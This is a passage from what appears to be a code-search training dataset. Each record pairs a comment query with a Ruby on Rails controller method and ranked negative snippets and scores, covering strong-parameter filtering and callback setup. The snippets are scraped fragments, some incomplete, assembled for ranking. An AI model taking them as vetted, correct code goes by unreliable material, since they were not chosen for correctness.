move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def room_params params.require(:room).permit(:seats_count, :room_type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_tadpole @tadpole = Tadpole.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def callback_phase\n super\n end", "def advice\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6163821", "0.6045432", "0.5945441", "0.5916224", "0.58894575", "0.5834073", "0.57764685", "0.5702474", "0.5702474", "0.5653258", "0.56211996", "0.54235053", "0.5410683", "0.5410683", "0.5410683", "0.53948104", "0.5378064", "0.5356684", "0.53400385", "0.53399503", "0.53312254", "0.53121567", "0.52971965", "0.52964705", "0.52956307", "0.52587366", "0.52450675", "0.5237777", "0.5237777", "0.5237777", "0.5237777", "0.5237777", "0.5233381", "0.52325714", "0.52288216", "0.52229726", "0.5218362", "0.52142864", "0.5207988", "0.5206337", "0.51762295", "0.51745105", "0.51728606", "0.516616", "0.5161016", "0.5157393", "0.5152562", "0.51524293", "0.5152397", "0.5144533", "0.513982", "0.51342106", "0.5113793", "0.5113793", "0.5113671", "0.51092553", "0.51062804", "0.50921935", "0.5088855", "0.5082236", "0.5079901", "0.5066569", "0.5055307", "0.5053106", "0.50499666", "0.50499666", "0.5035068", "0.50258636", "0.50220853", "0.5015893", "0.50134486", "0.5001442", "0.50005543", "0.4998581", "0.49901858", "0.49901858", "0.4986648", "0.49809486", "0.49792925", "0.4978855", "0.49685496", "0.49656174", "0.49576473", "0.49563017", "0.4955349", "0.49536878", "0.4952439", "0.49460214", "0.494239", "0.49334687", "0.49315962", "0.49266812", "0.49261138", "0.4925925", "0.4922542", "0.4920779", "0.49173284", "0.49169463", "0.4916256", "0.49162322", "0.49156886" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def tadpole_params params.require(:tadpole).permit(:name, :color, :frog_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def 